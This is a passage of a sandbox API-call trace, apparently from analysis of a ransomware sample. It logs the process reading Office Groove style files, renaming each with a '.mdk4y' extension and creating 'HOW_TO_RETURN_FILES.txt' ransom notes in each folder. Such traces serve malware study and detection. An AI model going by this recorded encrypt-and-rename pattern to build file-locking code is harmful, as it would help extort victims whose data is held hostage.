lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0218.905] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829413600000) returned 1 [0218.906] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0218.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829413700000) returned 1 [0218.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829413700000) returned 1 [0218.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_on.gif.mdk4y")) returned 1 [0218.908] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0218.908] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0218.909] AreFileApisANSI () returned 1 [0218.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 129 [0218.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0218.911] GetFileType (hFile=0x134) returned 0x1 [0218.912] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.912] AreFileApisANSI () returned 1 [0218.912] GetACP () returned 0x4e4 [0218.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Americana.css", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Americana.css", lpUsedDefaultChar=0x37dd1c) returned 13 [0218.912] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0218.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829414300000) returned 1 [0218.913] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xdf0, lpOverlapped=0x0) returned 1 [0218.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829417400000) returned 1 [0218.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829417400000) returned 1 [0218.944] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css.mdk4y")) returned 1 [0218.946] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.946] AreFileApisANSI () returned 1 [0218.946] GetACP () returned 0x4e4 [0218.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBlue", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BabyBluea.css", lpUsedDefaultChar=0x37dd1c) returned 8 [0218.946] AreFileApisANSI () returned 1 [0218.946] GetACP () returned 0x4e4 [0218.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=104, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\«꬀\x94") returned 104 [0218.946] AreFileApisANSI () returned 1 [0218.946] GetACP () returned 0x4e4 [0218.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0218.946] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.946] AreFileApisANSI () returned 1 [0218.946] GetACP () returned 0x4e4 [0218.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0218.946] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.946] AreFileApisANSI () returned 1 [0218.946] GetACP () returned 0x4e4 [0218.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="BUTTON.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0218.946] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829417700000) returned 1 [0218.948] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xb9, lpOverlapped=0x0) returned 1 [0218.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829417800000) returned 1 [0218.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829417900000) returned 1 [0218.949] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif.mdk4y")) returned 1 [0218.950] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.950] AreFileApisANSI () returned 1 [0218.951] GetACP () returned 0x4e4 [0218.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIF", lpUsedDefaultChar=0x37dc90) returned 10 [0218.951] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829418100000) returned 1 [0218.951] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xff, lpOverlapped=0x0) returned 1 [0218.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829418200000) returned 1 [0218.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829418200000) returned 1 [0218.953] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif.mdk4y")) returned 1 [0218.953] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.953] AreFileApisANSI () returned 1 [0218.953] GetACP () returned 0x4e4 [0218.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0218.953] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829422300000) returned 1 [0218.993] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0218.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829422400000) returned 1 [0218.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829422400000) returned 1 [0218.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif.mdk4y")) returned 1 [0219.032] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.032] AreFileApisANSI () returned 1 [0219.032] GetACP () returned 0x4e4 [0219.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0219.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829426300000) returned 1 [0219.033] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0219.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829426400000) returned 1 [0219.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829426400000) returned 1 [0219.034] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif.mdk4y")) returned 1 [0219.035] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0219.035] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0219.036] AreFileApisANSI () returned 1 [0219.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 128 [0219.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0219.036] GetFileType (hFile=0x134) returned 0x1 [0219.037] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.037] AreFileApisANSI () returned 1 [0219.037] GetACP () returned 0x4e4 [0219.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBlue.css", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BabyBlue.csss", lpUsedDefaultChar=0x37dd1c) returned 12 [0219.037] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0219.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829426800000) returned 1 [0219.038] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x100d, lpOverlapped=0x0) returned 1 [0219.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829437300000) returned 1 [0219.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829437300000) returned 1 [0219.144] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css.mdk4y")) returned 1 [0219.146] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.146] AreFileApisANSI () returned 1 [0219.146] GetACP () returned 0x4e4 [0219.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Biscay", cchWideChar=6, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Biscayue.css", lpUsedDefaultChar=0x37dd1c) returned 6 [0219.146] AreFileApisANSI () returned 1 [0219.146] GetACP () returned 0x4e4 [0219.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=102, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\") returned 102 [0219.146] AreFileApisANSI () returned 1 [0219.146] GetACP () returned 0x4e4 [0219.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0219.146] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.146] AreFileApisANSI () returned 1 [0219.146] GetACP () returned 0x4e4 [0219.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0219.146] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.146] AreFileApisANSI () returned 1 [0219.146] GetACP () returned 0x4e4 [0219.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0219.146] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829437800000) returned 1 [0219.148] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0219.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829437900000) returned 1 [0219.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829437900000) returned 1 [0219.150] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_off.gif.mdk4y")) returned 1 [0219.151] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.151] AreFileApisANSI () returned 1 [0219.151] GetACP () returned 0x4e4 [0219.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0219.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829438200000) returned 1 [0219.152] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0219.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829438300000) returned 1 [0219.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829438300000) returned 1 [0219.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_on.gif.mdk4y")) returned 1 [0219.154] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0219.154] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0219.155] AreFileApisANSI () returned 1 [0219.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 126 [0219.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0219.187] GetFileType (hFile=0x134) returned 0x1 [0219.188] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.188] AreFileApisANSI () returned 1 [0219.188] GetACP () returned 0x4e4 [0219.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Biscay.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Biscay.cssss", lpUsedDefaultChar=0x37dd1c) returned 10 [0219.188] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0219.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829441900000) returned 1 [0219.189] ReadFile (in: hFile=0x134, lpBuffer=0x380020, 